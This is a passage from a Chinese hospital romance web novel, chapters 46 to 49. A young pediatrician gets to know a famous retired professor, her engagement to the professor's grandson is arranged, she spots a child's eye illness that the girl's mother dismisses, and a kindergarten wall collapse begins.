南栀说:“不用不用,都是小事啦,不用和家人谈,我们只是说好相亲而已。” 黄春兰:“……” 相亲还不用和家里说?! 终究是她跟不上时代了。 南栀说得糊里糊涂的,黄春兰实在不放心,这事得处理好,不然会有人在南栀背后嚼舌根。再说他们还没见过这位陆医生,谁知道是个什么样的人?南栀只说人家好看,好看有啥用?别是中看不中用。 黄春兰决定去医院一趟。 * 南栀很好奇祁念珍到底搬来多厉害的救兵,才能让她和阮乔肆无忌惮地休息。 阮乔也是如此。 俩人一早就来到医院,在儿科办公室鬼鬼祟祟。 盛昭云也来了,正在打扫办公室。 阮乔震惊道:“盛大医生都亲自干活了?是不是实习生欺负你?!” “实习生?” “就是来帮忙的人啊!不是实习生吗?!” 盛昭云挑眉,“哦,你们还不知道。” 南栀问:“该知道什么吗?” 盛昭云意味深长道:“没事,等她来了你们就知道了。” 阮乔乖乖拿出书来看书。 盛昭云道:“这倒是不常见,又看言情小说?” 现在男生喜欢追武侠小说,女生看言情小说,盛昭云都不喜欢。 一个打打杀杀,一个情情爱爱。 打打杀杀里面也有情情爱爱。 情情爱爱里面还有不少打打杀杀。 挺无聊。 阮乔严肃道:“盛医生,我已经改邪归正,以后请多指教。” 盛昭云道:“那我也太累了些。” 阮乔:“啥?” 盛昭云:“你要被指教的地方多了去了。” 阮乔:“……” 她为什么会和南栀、盛昭云做朋友啊? 显得她都不像个毒舌了! 三人来的都很早,还有一会儿才到上班时间。 阮乔说起在骆驼村的事。 盛昭云同样抓到重点,“南栀……” “南栀厉害吧!第一次做手术!人家以为她是老手!连我妈都以为是陆医生缝合的,其实都是南栀做的!非常完美的手术!没出一点儿错!” 阮乔十分激动。 天知道她第一次急救时都在紧张,南栀第一次做手术竟然还能全程冷静。 比陆医生都冷静! 陆医生是康宁医院的标杆。 在阮乔心里,南栀比陆医生还要厉害! 盛昭云说:“所以南栀和陆随住在一起啊?” 阮乔:“……” 这是重点吗? 不对,他们两耳不闻窗外事的陆医生怎么也关心起八卦了?! 盛昭云道:“你还精神焕发,阿姨的手术一定是成功了,看得出来。” 让人惊讶的是,南栀和陆随居然走得这么近。 南栀说:“只是炕而已,没什么呀,炕上就是能睡很多人。而且在招待所,明明开一个房间更节省,他不同意,一定要开两间,我真想不明白,他怎么有少爷病啊?” 真没想到学长是这样的人! 阮乔:“……” 盛昭云:“……” 好像不是这个原因? 几人正在讨论陆随是否有“少爷病”,儿科办公室的门被慢慢推开。 三人同时看向门口,盛昭云弯唇微笑。 南栀和阮乔知道这就是代替她们的医生,好奇地看着。 先走进来两个年轻的学生,一看就是实习生。 阮乔:“果然……” 话音刚落,走在最后的人慢吞吞走了进来。 是个年纪很大的奶奶,背着手臂,如今身材矮小,但只是因为年纪大了、驼背,依稀还能看出她曾经是个高挑美人。 奶奶的头发有些乱,好像没打理。 阮乔说:“奶奶,这是儿科,您走错了,而且看病得去门诊。” 老奶奶继续往屋里挪动。 盛昭云起身,毕恭毕敬道:“陆教授,这二位是儿科的门诊医生南栀,还有住院医生阮乔。南栀目前还不是主治医生,不过她很有天赋,还希望您能多教教她。” 陆……教授?! 阮乔的大脑停止运转好几秒,惊叫道:“陆嘉述教 授?!” 临川市医学界最牛的人物,泰斗级老教授,年轻时在富雅医院赫赫有名,有人把她称作开创国内儿外科的创始人之一。 陆嘉述退休后,富雅医院多次提出返聘,但都被拒绝。 陆嘉述一心研究学术,和孙子陆随一起回到家乡临川市。 据说陆嘉述回来那天,市长亲自带人去接见。 退休后这些年,陆嘉述的研究一直没停过,还经常去各地飞刀。 在儿科,如果遇到疑难杂症,都要去问一问陆嘉述。 南栀和阮乔手忙脚乱地站好,这会儿都不敢再盯着陆嘉述看。 两人一起弯腰,“陆教授!” 陆嘉述坐下,叮嘱了学生几句今天的工作。 阮乔小声说:“难怪我觉得儿科人变多了,都是陆教授带来的学生!” 南栀越来越紧张,已经不敢回答阮乔。 为了了解现在的医疗水平,南栀去图书馆借了很多书,还管祁院长借了一些。 不少书中都曾提到过陆嘉述。 刚建国的五十年代,国内没有小儿外科。 在国家的倡导下,陆嘉述与其他几位医生一起在富雅医院创立了儿外。 儿外运转成熟后,他们还辗转去其他城市的医院帮忙建设。 陆嘉述的手术做得极好,几乎没有失败的手术,很少有医生能做到。 这样的人物出现在自己面前,南栀能不紧张吗? 这就好像是看到医学史上的大佬! 陆嘉述布置完工作,将实习生撵走。 她的声音不算温柔,甚至有些严厉,实习生们都害怕她。 阮乔和南栀也怕。 陆嘉述看向二人。 她和盛昭云一样,精准地抓到重点,“你……” 南栀站得笔直。 陆嘉述:“你和我孙子,住在一起?” 南栀:“……” 阮乔:“……” “这不太好,”陆嘉述端起茶杯,“放在我们那个年代,出了这种事,就要直接按头去领结婚证。” 南栀:“……” 陆教授的关注点,也很奇特呢。 陆嘉述说:“我听陆随说,最近有在接触的相亲对象。” 南栀想到这是她主动“帮的忙”。 南栀:“……” 她硬着头皮说道:“陆教授,是我。” 陆嘉述:“哦,难怪要住在一起。” 南栀:“……” 阮乔从害怕变成看南栀的乐子,她跑去和盛昭云一起吃瓜。 陆嘉述道:“其实小辈的事,我真的不想管,尤其是结婚,现在不是从前了,要讲究个你情我愿。” 南栀赶紧点头。 陆嘉述:“我是个开明的人,不会多管你们。” “明白明白,以后我一定远离……” “陆医生”三个字还没说出口,南栀便听陆嘉述说道:“所以你们打算什么时候结婚?” 南栀:“……” 不是不管吗?! 儿科多了一位陆教授,南栀压力山大。 盛昭云和阮乔看起来倒是很轻松,只有南栀在紧张。 盛昭云贴心的把和陆嘉述一起看诊的机会让给南栀,“你要多和陆前辈学习,和陆前辈一起看诊的机会,花钱都买不到。” 南栀:“……” 她当然知道机会难得,先现在的情况好像有些奇怪,陆教授应该是误会了。 南栀小声道:“你和我一起去呗,你也得学习呀。” 盛昭云笑眯眯道:“我学了很多天了,该你了,你自己去,有问题就直接问,陆前辈都会解答。” 南栀:“……” 麻了。 陆嘉述戴好老花镜,镜腿上还绑着绳子。 她扶着镜框看向南栀,“你好像很怕我?” “没、没有。” 陆嘉述:“其实你可以给小随打电话,让他给你撑腰。” 南栀:“……” 她看向话筒。 陆嘉述忽然咧嘴笑道:“可惜他今天被我派到敬玮家了,嘿嘿。” 南栀:“……” 她听到了什么?有妖魔鬼怪上陆教授的身了吗?! 盛昭云低声道:“放心吧,陆前辈看着不好相处,其实还是孩子心性,是逗你玩的,不会为难你。” 南栀幽怨地看向盛昭云,“早知道是陆教授过来,我就不和陆随睡了。” 盛昭云捂住南栀的嘴。 这话再传下去,就解释不清了! 因为陆嘉述在,儿科的门诊数量暴增,而且每个来看诊的患儿都不是普通的病。 康宁医院的儿科本就因为南栀大出风头,现在更是大热门,就连其他城市的医院都建议患者来康宁医院的儿科治疗。 难怪祁念珍会高兴,如果陆嘉述能多留几天,说不定儿科就能成为康宁的招牌。 陆嘉述看病,废话很少,而且从不照顾患者情绪。 南栀看了一上午,学到很多。 阮乔一有空闲时间就跑过来一起学习。 俩人专心致志地欣赏陆嘉述看诊。 患儿家属:“孩子一直喘,检查又说没问题,但他时不时就犯病,您看怎么办?” 陆嘉述捡起一根狗毛,“学它的。” 患儿家属:“她总说不舒服,但不知道具体原因,检查结果一切正常,一写作业就难受。” 陆嘉述:“浪费时间,出去。” 阮乔感慨道:“陆教授看得很准,我要成为陆教授这样的医生。” 南栀也很感慨,“我也要成为陆教授这样的医生,能随便骂家属,太爽了!” 阮乔:“?” 祁念珍还特意来看望陆嘉述,她每天都来。 陆嘉述毫不客气,“是陆敬玮那死丫头非要我来帮忙,该帮的我已经帮了,不要指望我一直留下。” 祁念珍笑盈盈道:“明白明白,您有更重要的事要做,不过您看啊,我们南栀很有天赋的,如果您能借着这个机会好好培养她,我相信儿科又会冉冉升起一颗新星!” 陆嘉述看了南栀一眼,“她?胆子太小,暂时没看出有优点。” 南栀有些失落。 她很想跟着陆嘉述一起学习。 陆嘉述的经验实在太丰富,这种经验是书和视频没法比的。 祁念珍:“……” 南栀胆子小?她没听错吧? 南栀? 是说那个很有情商的南栀吗? 祁念珍说:“行,南栀,今晚值班吧?我们好好谈谈这事,你得跟着陆教授好好学,机会难得。” 陆嘉述说:“她不值班。” 祁念珍:“?,我刚看过排班……” 陆嘉述挑眉。 祁念珍:“……,她确实不值班。” 陆嘉述满意道:“今晚我们要一起吃饭,找别人顶上吧。” 南栀:“?!” 他们什么时候说好要一起吃饭的? 祁念珍说:“您看,您这还是觉得南栀不错嘛。” 陆嘉述摇头,“不是我觉得不错,是我那孙子觉得不错,听说他们已经接触很久了,互相都有好感,年轻人要负责,不能乱谈恋爱,今晚我们和南家人见面,如果可以,就把事情定下来。” 南栀:“……” 这都是什么时候的事?! 第47章 第47章保持冷静 儿科门诊仍然在排大长队。 就连阮乔来摸鱼的时间都变少了。 因为收治的重病患儿太多,阮乔根本忙不过来。 “现在住院部的氛围压抑死了,好几个大人守着一个孩子,可能情况都不太好。我真怀念以前井珧他们在的时候,虽然闹腾了点儿,但基本上都是小病小灾的,咱知道他们还能活下去啊。现在,家长大声喊我,我都担心是孩子出事了。” 阮乔连井珧都开始表扬,可见是真怀念。 不过这也是实话,以前康宁医院不在他们的考虑范围,重病的孩子很少过来。 最多是农朔这种,哥哥在儿童医院出过事,又想找个离家近的医院,才会过来。 樊金月能来,也是因为家长以为她只是感冒发烧。 阮乔郁闷地 抱着保温杯喝果汁,“我还想着以后一定要好好努力,提升医术,专给那些有疑难杂症的孩子治病,现在想想,真的面对的都是重症孩子,心情真糟糕。” 南栀说:“可看到治好的病人健健康康离开,心情也会好呀。” 阮乔怔了一秒钟,把果汁推给南栀,“大师,再说几句。” 南栀做医生,对自已只有一个要求,尽力而为。 要求多了是在为难自己。 南栀试图为陆嘉述分担一些病人,但每个人都是冲着陆教授的名声来的,一看这边只有小年轻看诊,都往陆嘉述那边跑。 就连诊室里都有人在排队,区别就是南栀这边空空荡荡,陆嘉述那头人满为患。 南栀只能帮着打打下手,譬如及时的给骂累了的陆嘉述接满水。 而部分杞人忧天的家长也在挨骂以后心满意足地离开。 南栀:新的治疗方案get 又一个小女孩被推着走进来,看起来还没到上学的年纪。 带她来的女人嘴里骂骂咧咧,“你那死爹一点儿都不管你,你去他家什么事都没有,一回来就说不舒服,你是真不舒服还是不想在家里待着?是他在外面偷吃死性不改!我把你一把屎一把尿拉扯大,他给你几块糖你就凑上去!白眼狼!来看病,要是没病,我今天就打断你的腿!” 陆嘉述看过来。 女人离异,独自抚养孩子,听她话中的意思,小姑娘似乎更喜欢当爸爸的。 但当爸爸的又没做什么,她心里越来越不平衡。 陆嘉述留意到女孩的脸色,神色一凛,正要招手,女人便把孩子推到南栀面前,“这里,不用排队。” 南栀恐怕处理不了这种问题。 陆嘉述对南栀的印象其实不深,只记得似乎是孙子喜欢的人。 她能顾及的事情有限,只是陆敬玮说这孩子人不错,她便想着赶紧把陆随这个老大难的问题处理掉。 女方嘛,人品好就行,其他麻烦事她也不想掺和,她还有很多工作要做。 陆嘉述正要开口,南栀便让人坐下了。 “小朋友,哪里不舒服?” 女人嘲讽道:“白天在她爸家玩,晚上不睡觉,说看不清。我给你点个蜡烛不错了,咱家有钱总开电灯吗?你知不知道电费有多贵?!” 南栀说:“居民用电0.1元1度,这您都不知道呀?” 女人:“?” 南栀热情地说道:“用蜡烛的话的确会更便宜,不过对眼睛不好哦。一根蜡烛的价格和燃烧的时间您知道吗,我可以替您算算哦。” 女人:“……” 陆嘉述再次看过来。 …… 又一个气人的法子,记下来记下来。 女人不太想惹神经有问题的,给南栀留了面子,“行行行,你看,你来看。” 南栀和善地看向孩子,“小朋友,你说看不清东西,眼睛有不舒服吗?” 小女孩怯怯地看向女人。 南栀说:“她虽然是你妈妈,但并不了解你的身体哦,你的身体去看看只有自己知道的,你好好想想,肯定能回答。” 女孩这才说:“有些痛。” “有红肿吗?” “昨天妈妈说我眼睛红红的,以为我哭了,其实我没哭。” “看东西会模糊吗?” 女孩歪了歪脑袋,无法理解南栀的话。 南栀指向窗外,“对面楼上的招牌,看得清楚吗?” 女孩摇头。 女人说:“她才读幼儿园,她都不认字,能看得清?你们这些医生哦,就是瞎问,还不如我。” 南栀说:“不可能呀。” 女人:“啥?” 南栀说:“我看病肯定比你强呀。” 她好歹也是念的正经医科大学,在看病这方面,怎么会比没上过学的人还差呢? 如果是其他方面也就罢了,毕竟术业有专攻。 真是无法理解。 女人:“……” 南栀把女孩拉过去检查眼睛。 女人火冒三丈,但这股邪火只能在她自己心里蹿,说不出来。 越想越生气。 南栀说:“你先带她去做检查吧,眼睛里有东西,需要做CT。” 女人趁机发泄,“神经病!哪里有东西?我怎么看不到?你是救死扶伤的医生吗?我看你就是想赚黑心钱!” 南栀把女人拽过去,又让孩子转眼珠,“看到了吗,玻璃体上有浅灰色的圆环。” “这怎么了?”女人说,“你的眼睛是干净的?里面也有东西!” 南栀耐心解释,“她是突然说看不清的,对吗?” “是啊,小孩瞎说。” “瞎说也没这么个具体法,而且她还会眼睛疼,我建议你们去做个CT,或者直接去眼科,不要耽误治疗。” 女人愣了一下,炸毛道:“我看你就是想赚钱!你们这挂号都要5毛钱!黑心医院!” 她气冲冲地抓起孩子,“走!回家!” 本着对病人负责的原则,南栀追上去,“这关系到孩子的健康,我肯定不会乱说,她必须尽快接受检查,很多疾病都会导致视力下降,她的玻璃体上已经能看到灰色圆环,可能是囊虫病,最近有吃没做熟的猪肉吗?” “你少来这一套!你就是坑钱的!”女人骂骂咧咧,“我真是瞎了眼跑到你们医院,还以为人多是水平高,结果就找这么一个小医生给我家孩子看病,糊弄事!” 在陆嘉述这边排队的患者都看不下去了,“这不是老医生排队太长,你才非得找人家小医生的?” “你孩子都不舒服了,人家医生让你去做检查你就去呗。” “是啊,都来医院了,不查明白?小孩肯定不会无缘无故眼睛疼。” 一连几人都是批判女人的。 他们能在自己身上省钱,可不能在孩子这里省钱。 女人被围攻,一时着急,揪女孩的力气更大,女孩嚎啕大哭。 “又哭!就知道哭!你是要让我死!”女人抱起女孩,恶狠狠地看向其他人,“你们就留在这里被骗吧!” 二人离开,走廊恢复安静。 陆嘉述不动声色地看向南栀,“把人气跑了,怎么办?” 南栀想得很开,“她最开始就认为孩子是装病,原本就不是想来看病的,她更想让我们帮忙给女儿一个教训,会走并不奇怪。” 南栀把二人没带走的病例整理好。 “她留了一个座机号码,晚些时候我会再打电话,也会通知医务部。您放心,我会尽量负责。” 但如果对方实在不讲理,她也没办法。 陆嘉述在心里琢磨着事情经过。 南栀是怎么……用温柔的语气说出气人的话的? 她咋觉得她平时和患者家属吵架,气人的效果还不如南栀好呢?? 真是活到老学到老! * 心外科的队伍又壮大了。 陆随归队,心外科医生给他准备了欢迎会。 他的办公桌上扎了两个气球,还飘着几根彩带,萧珵被迫做欢迎代表。 萧珵象征性甩甩彩带,“恭喜康复。” 其他人起哄,“萧珵,你以前和陆随的关系最好,咋还闷闷不乐的。” 在陆随的记忆中,原主和萧珵的关系的确很好。 原主敏感又自卑,曾经暗恋过韦初雪,萧珵也知道,萧珵还帮他出主意去追人。 但从某一天开始,萧珵对原主不如从前热情。 虽然萧珵仍然和善,却回不到从前的关系。 现在更是如此。 真的说起来,萧珵对陆随的态度其实不太正常。 他应该静下心来好好想想为什么会这样。 萧珵说:“他都要和南栀订婚了,我还要好脾气?!” 陆随:“……” 萧珵就是敌人! 静不下来一点儿!! 第48章 第48章人情世故 说起订婚的事,陆随心虚得很。 他也不明白南栀的父母为何会与陆敬玮联系上,两家人竟然就坐到一起了,陆随被带到饭馆包间时还是懵的。 就连日日将自己锁在书房的陆嘉述都带着南栀出现,场面不可说是不诡异。 两家人询问南栀和陆随的意见。 南栀说过会帮陆随,帮他也是帮自己,黄春兰和南明杰早晚都会催婚的,他们很难接受南栀不婚。 她没什么意见。 陆随:“……” 如果 南栀知道他的身份。 如果南栀…… 等等,如果南栀不知道他的身份,凭什么要帮他?? 南栀喜欢原主这种小白脸? 陆随忍不住问南栀。 南栀看傻子似的看陆随。 陆随放心了,“还好不是为了这张小白脸。” 南栀低声说:“我办事你当然可以放心啦,陆医生的脸怎么会有学长白呢,我肯定分得出来。” 陆随:“……” 两个年轻人同意,陆家同意,南家这会儿却退缩了。 黄春兰和南明杰不知道陆家是有钱的人家,和他们家不匹配。 他们夫妻累死累活干一年,说不定还不如人家一个月工资多。 尤其是陆嘉述,看起来也不是太好相处的样子,南栀若嫁过去了,吃亏咋办? 他们不想女儿能有多大富大贵,只要过平反安稳的日子就好,绝对不能被人欺负。 但南栀好像无所谓。 饭桌上,陆敬玮一直拉着南栀讨论一些名字很长的药,他们都听不懂。 陆随偶尔说两句,陆嘉述继续高冷。 最后还是陆敬玮看不下去,低声提醒老母亲多说几句话,别让南栀的家人尴尬。 陆嘉述很生气,“这是你搞的局?” 陆敬玮:“你不是也想见南栀的亲人吗?” 陆嘉述问:“为什么又不点糖醋排骨?!” 陆敬玮:“……” 这个亲事还是定下了,只不过在提到何事结婚办酒时,南栀和陆随一起摇头,“不急不急,不着急。” 哪能不着急?? 医院是全方位透风的墙,没有任何秘密。 他们这边刚订好,八卦就传出去了。 只有少数几个科室的人认识南栀,比如骨科、心外心内,还有和儿科同一楼层的科室。 其他人都以为南栀是陆家人给陆随相来的,身份肯定不一般。 最无奈的是箫珵。 亲妹妹啊,居然都没通知他! 箫珵冷冰冰地看着陆随。 陆随好整以暇,还笑了笑。 箫珵捏拳。 郤文曜赶紧说:“好了好了,陆随终于归队,好事,你俩就别争了,像以前那样继续做朋友不好吗?” 说完,郤文曜看向陆随,目光复杂。 箫珵板着脸离开办公室。 本来还有点儿担心的陆随心情不错。 他随手翻出几个病例,“最近来心外的?” 郤文曜说:“对啊,情况都很复杂,有两个主动脉夹层,已经安排手术了,萧医生上。” 陆随挑眉,“他一个人?” “没办法,现在能做这种手术的只有主任和萧医生,我是不行。你以前也行,不知道现在如何。” 陆随和从前不太一样,大家都看得出来。 不熟悉的人会以为陆随是天之骄子。 但和他待一起久了,就会知道这位天之骄子心理不太健康,谁都能欺负他。 郤文曜坐到陆随对面,斟酌道:“其实有个事我还没来得及和你说,你昏迷期间,有篇论文,主任说写得不错,已经发表了。” 陆随放下病例。 郤文曜道:“没问题的吧,以前都是这样的。” 陆随说:“你是问,我写的论文,写主任的名字,有没有问题吗?” 郤文曜说:“主任对你还是不错的,对吧?而且……” “而且你的名字也在上面,能分一杯羹。” 郤文曜赶紧说:“是你太优秀了,根本不用担心这些,随便写写就是优秀论文,主任也是考虑到我水平有限。陆随,你就再帮我这一次,行吗?” 陆随笑笑,“帮你啊?等着。” 郤文曜松口气。 看来陆随还是个好脾气。 陆随将办公桌上的杂物推开,“这些东西都不要了,扔掉。” 郤文曜道:“别啊,这书是老赵的,热水壶是我的,还有……” 陆随惊讶道:“是你们的东西?哦?我看放在我桌子上,以为是我的。” 郤文曜:“……” 陆随顺手推到地上,暖壶“啪”的碎了,郤文曜脸色苍白。 他找到原主曾写过的文章,都被收集在抽屉里,全部都是整理好的。 以现在的医学水平来说,文章内容都算扎实,很不错。 但这些文章,几乎都没以原主的名字发表。 这种情况在他和南栀生活的年代其实不少见,但以原主的家世,能被欺负成这样,可见他有多软弱。 陆随说:“你放心,这些文章,我都会好好看一遍,重新整理。” 一篇不少。 * 吉姚是棉纺厂的工人,离婚后要独自抚养女儿。 前夫给的抚养费不多,但每周都会把孩子接走几天,带着她疯玩。 鲁蓓蓓每次从爸爸家回来,都会说想爸爸,想去他家。 这是吉姚最愤怒的时候。 现在离婚的人太少,吉姚不想和前夫纠缠才走这条路。因为离婚,一直被邻居们指指点点,就连父母都说她给他们丢人,连过年都不同意她回家。 她为了给鲁蓓蓓更好的生活,从棉纺厂下班后,还会回家用钩针钩小发卡拿去摆摊。 日日夜夜都是如此,几乎没有休息的时候。 可就是这样,鲁蓓蓓还吵着要去找爸爸。 早上,吉姚送鲁蓓蓓去幼儿园。 鲁蓓蓓坐在自行车后座,母女俩没有交流,到了幼儿园,吉姚把鲁蓓蓓拎下来。 鲁蓓蓓撕扯着手指上薄薄一层皮,“妈妈,眼睛痛。” “够了!”吉姚怒道,“你还没疯够?!小小年纪,眼睛有什么好疼的?那个医生说几句,你就顺着杆子往上爬?赶紧去幼儿园!” 这家幼儿园就在吉姚家附近,是一对年轻夫妻开的。 幼儿园比较简陋,只有三个房间,夫妻俩在里间生活,其中一间作为孩子们的教室,中午也没有能躺下休息的地方。 好处是价格便宜,而且能晚点儿再来接孩子。 吉姚把鲁蓓蓓往小院里推。 来送孩子的家长不多,大家住得都不远,孩子自己跑过来就够了。 只有两个家长也是顺路送孩子,见鲁蓓蓓一副快哭出来的样子,便说:“孩子不舒服,就带她去医院看看呗。” “去什么医院,”吉姚火气正大,“已经去过了,去了医生什么都不看,就知道让开检查,做个CT要那么多钱,亏她说的出口!” 家长说:“不能为了钱耽误孩子的身体啊。” 吉姚道:“她根本就没有不舒服,就是想她爸了!她爸不管她,不骂她,还会给她吃,让她疯玩,她能不喜欢吗!呸,狗男人,管教孩子的事让我做,他当老好人!” 说到这里,家长同情道:“谁家不是呢,不过医生怎么说的,眼睛有问题吗?” 吉姚回想起南栀的话,不屑道:“一个黄毛丫头,年纪特别小,能看啥病?” “医院还有这种医生呢?” “所以我说,她就是帮着医院坑钱的,咱们要听她的话,就上当受骗了!” 俩人一边推着自行车往外走,一边聊天。 鲁蓓蓓看着妈妈的背影,只要又揉了揉眼睛,然后往院子里跑。 小院里,两个小男孩正在墙边踢球,专把足球往墙上踢。 鲁蓓蓓的视线很模糊,就连球飞过来都没看到,球砸中鲁蓓蓓的脸。 小男孩赶紧跑过来,“你瞎啦,有球都不知道躲!” 俩人把 鲁蓓蓓扶起来。 鲁蓓蓓茫然地看着二人,又看看围墙。 男孩指着围墙说:“你看,那边墙上有裂缝,我踢出来的!” “你就吹吧,”另一人道,“裂缝是自己出来的,才不是你踢的,你哪有那么大的力气?” 两人争执不休。 鲁蓓蓓走到裂缝前,蹲下来才看得清。 她伸出小手,轻轻抚摸墙体,能看到的光线越来越少。 * 跟着陆嘉述有一个好处,只要是有关医学的问题,她都愿意解答。 南栀想问的问题太多了,每天都准备小本本,随时记录。 陆嘉述也特意准备了一个小本本,南栀不知道是做什么的。 阮乔趁陆嘉述去厕所看了一眼,“如何更好地气……气人?!” 陆教授的想法还真是难以捉摸。 正好到吃饭时间,南栀和阮乔护送陆嘉述去食堂,盛昭云和韦宁雨已经打好饭占了位置。 陆嘉述每次来食堂都是这样的阵仗。 想和她交流的医生太多,他们儿科的人可得保护好这尊大佛。 几人打好饭坐下,南栀最先提问,“陆教授,您看小儿外科目前急需哪个方向的医生?” 盛昭云道:“康宁目前的情况,或许可以考虑更新的设备?” 阮乔的提问最真诚,“陆教授,为什么要气人啊?” 盛昭云:“……” 她还以为阮乔真的变得爱学习了。 陆嘉述挑了一个最有意义的问题回答,“你还年轻,不懂,从医这些年,我可遇到太多不讲道理的人了,那可是跟着一起生气,但总生气可不太好,容易气坏自己。我就想了个招……” 南栀恍然大悟,“宁可气别人,也不气自己!” 盛昭云:“原来如此。” 等待瞻仰陆教授的众医生们:“……” 这种问题竟然也问? 陆教授竟然也答?! 再看儿科众人,齐刷刷地低头记笔记。 众医生们:“……” 神经病! 南栀又问:“该怎么调节心态呢?” 陆嘉述说:“心态调节不了,我们只能从自身上找原因,更加努力。” 众医生:总算听到些励志的话。 他们聚精会神地等待陆嘉述的演讲。 陆嘉述说:“只有自身实力过硬,骂人时才不用担心。你想想,实力摆在这里,就非你不可,院长能怎么办?家长能怎么办?是不是都得乖乖听话?实际上我现在已经遇不到不讲理的人了,在绝对实力面前,大家必须讲理。” 众医生:“……” 儿科众人:“有道理!!” 众医生:“!!” 陆嘉述看向南栀和盛昭云,“以康宁目前的情况,儿科看起来有美好的未来,但我不得不提醒你们,我不可能一直留在这里,按理说,你们现在回来了,我也该走了,我如果离开,儿科还能维持现在的情况吗?你们能应对那些复杂的疾病吗?凭你们几个,不太行。” 众医生幸灾乐祸。 这段时间陆嘉述来儿科帮忙,可把他们羡慕坏了,其他科室都没这个好运气。 每个人都想过,陆嘉述怎么就不能是他们科室的呢?! 南栀真诚道:“您再留几天吧,我还想跟着您多学几天。” 有医生忍不住吐槽,“陆教授多忙,是你说几句就能留下的?儿科的人一点儿人情世故都不懂。” 另一人问:“一直提问的是谁啊?好像没见过,新来的?” “不知道,不认识。” 陆嘉述看向二人,和善道:“我未来的孙媳妇你们都不认识,哪个科室的?” 医生们:“……,?!” 第49章 第49章跑反了 食堂瞬间炸了锅。 大家从质疑陆嘉述的话变成质疑她的孙子。 “陆教授的孙子,陆随??” “他对象不是院外的吗?” “靠,谁的情报,一点儿都不准。” 韦初雪刚进食堂,就听到大家都在议论这件事,她看向食堂最热闹的地方。 不知何时开始,只要儿科的人来食堂吃饭,最热闹的一定是他们桌。 有几人注意到韦初雪,互相提醒了几句,都不再说话。 他们韦医生和陆医生的八卦也算劲爆了,虽然没谈过对象,但陆医生竟然追过韦医生,就是医院的狗路过了,都得留下来听听八卦。 韦初雪走向儿科几人。 大家再次疯狂地拽彼此的衣服,韦初雪要去找……去找南栀或者陆教授了! 不管找谁!戏都很好看! 越拽越狠。 有人吐槽道:“我这是自己的衣服,不是白大褂,轻点儿拽!” 但激动的大家哪里管得了这么多。 所有人都在等戏看。 韦初雪走到陆嘉述面前。 大家屏气凝神。 韦初雪道:“陆教授……您就帮帮忙吧。” 医生们:“?” 韦初雪说:“这段时间您在康宁医院坐诊,情况您也看到了,医生护士们也学到很多。” 她把南栀拉过来,“这位医生还是很有前途的,您给她个机会多学学,将来她和盛医生能把康宁的儿科撑起来,对孩子们也是好事。” 医生们:“……” 呃,修罗场大戏呢,打架高潮片段呢,谁抢走了? 韦医生不常夸人,唯二夸过的医生就是心外的陆医生和萧医生。 这二位的水平大家有目共睹,而且康宁的心外心内本来就不差。 所以这位儿科的面生医生到底是谁啊?? 骨科医生们露出神秘微笑。 只有他们懂的感觉真爽! “多翻翻医学杂志,说不定能认识她。” 南栀已经把石晓灵的病例整理好,还写了有关利多卡因过敏的论文,这次虽然不是顶尖杂志,但也很有含金量。 医生们:“??” 还是红人?! 马明艳最后走进食堂,看到闹哄哄的人群,不想过去凑热闹。 消化内科的几个医生坐在最角落吃饭。 有人问马明艳,“她是不是你找来的那位?” 马明艳不在意道:“找什么?” “找来医院工作啊,最开始是打杂的。” “我找来的人多了,咱们医院多缺人你又不是不知道。” 马明艳挖掘过很多人,初衷是不想埋没人才,也想给医院招点儿人。 不过人都有私心,那些念书比较多的,看起来有本事的,她就留在自己的科室培养。 剩下的就往各个科室塞。 南栀只是其中之一。 医生说:“就是儿科姓南的,听说学历很差,去读了什么培训班。” 马明艳回忆了一下,“好像有印象,大桑村的?” 名字挺好记,好像是有什么不同的地方,她还送了几本书给她。 不过更多的她就没印象了,医院一天到晚都在忙,哪有那么多时间关注一个小孩子? “她可不得了喽,你看看,前段时间可出了大风头,现在是陆教授未来的孙媳妇了!” 马明艳呛了好几声。 她放下筷子看向食堂最热闹的方向。 “其实媳妇不媳妇的,我倒是不在意,可她好像真有点儿本事,你听骨科医生说的,前段时间那位救人英雄的女儿在咱们医院做手术,好像和她有关。” 马明艳看着南栀的背影怀疑人生。 她的确记得南栀好像有点儿小小的与众不同,当时提出了一个课本上没有的说法,但…… ??? 医生质问:“为啥不把她留在咱们科室?咱们科室也缺人啊!” 马明艳:“……” 不是,也没人告诉她啊?! 她的劳动力壮丁!! 心外忙,今天都没来食堂。 南栀几人吃好后,又前后“保护”陆嘉述一起离开。 几人走的雄赳赳气昂昂。 好多人撇嘴,“嘁,有老教授带了不起哦。” 南栀点头,“当然啦。” 韦宁雨,“你们没有。” “!!” 太气人了! 与此同时,幼儿园的小朋友们正准备休息。 没两个人用一个长桌,中午只能趴着睡觉,老师正用小红花诱惑他们,“谁最先睡着,就奖励一朵小红花哦,让我看看谁的眼睛没有闭上。” 小朋友们乖乖趴着。 老师关上电灯,“都睡着了吗?” 小朋友们齐声回答:“睡着啦——” “睡着了还能说话!都不想要小红花了?!” 教 室内传来哄笑。 老师无奈地去擦黑板。 他们幼儿园已经在教拼音,还会教个位数的算术题。 因为是特别改造隔出来的房子,只有一个小窗户,午睡期间,老师特意拉上窗帘,保证睡眠环境。 门外响起叮叮当当的声音。 老师放下黑板擦走出来,怕有小朋友跑出来,特意将门关好。 几个工人模样的人推着手推车捡砖头,还有几个人正拿大锤敲拆墙体。 幼儿园是普通人家改的,隔壁也是普通人的房子。 老师说道:“我们的小朋友都在午休,你们怎么这个时间工作?” “哎,体谅体谅吧,人家就叫我们这个时间来,反正就这两天,没事。” 老师担忧地看着拆到一半的围墙,“这能随便拆吗?” “有啥不能的,这家人要把房子做大点,你看着都是砖头盖的房子,结实得很。”工人随口糊弄了几句,继续干手里的活儿。 大家越干越起劲,墙体接二连三倒下。 不知是不是老师的错觉,她总觉得幼儿园那边也在晃动。 砖头落在地上,灰尘弥漫,老师捂住耳朵,耳鸣之际,她好像听到几声脆响,在敲击的声音下,这几声脆响格外清晰。 紧接着,幼儿园那边开始晃动。 老师怔住足足两秒钟,忽然往教室里跑去,“快醒醒!都出来!” * 陆嘉述曾协助多家医院建立小儿外科,南栀逮到机会就询问她有关儿外科的事。 陆嘉述回答了几个问题,但对南栀的想法,还是不太赞同。 虽说有好几个人都要她好好培养南栀,但在她看来,若真要说到培养,就该细心挑选对象,培养资质普通的人能起到多大的作用? 南栀嘛,她还没看到南栀的过人之处。 如果真说起来,在杂志上发文章的那个医生倒是不错,叫什么高仁的,听说也是康宁医院儿科的,但她现在还没见过。 陆嘉述说:“儿外的医生要求很高,你一次手术都没做过,不太合适。正因为孩子和大人的情况不同,才该更加谨慎。” 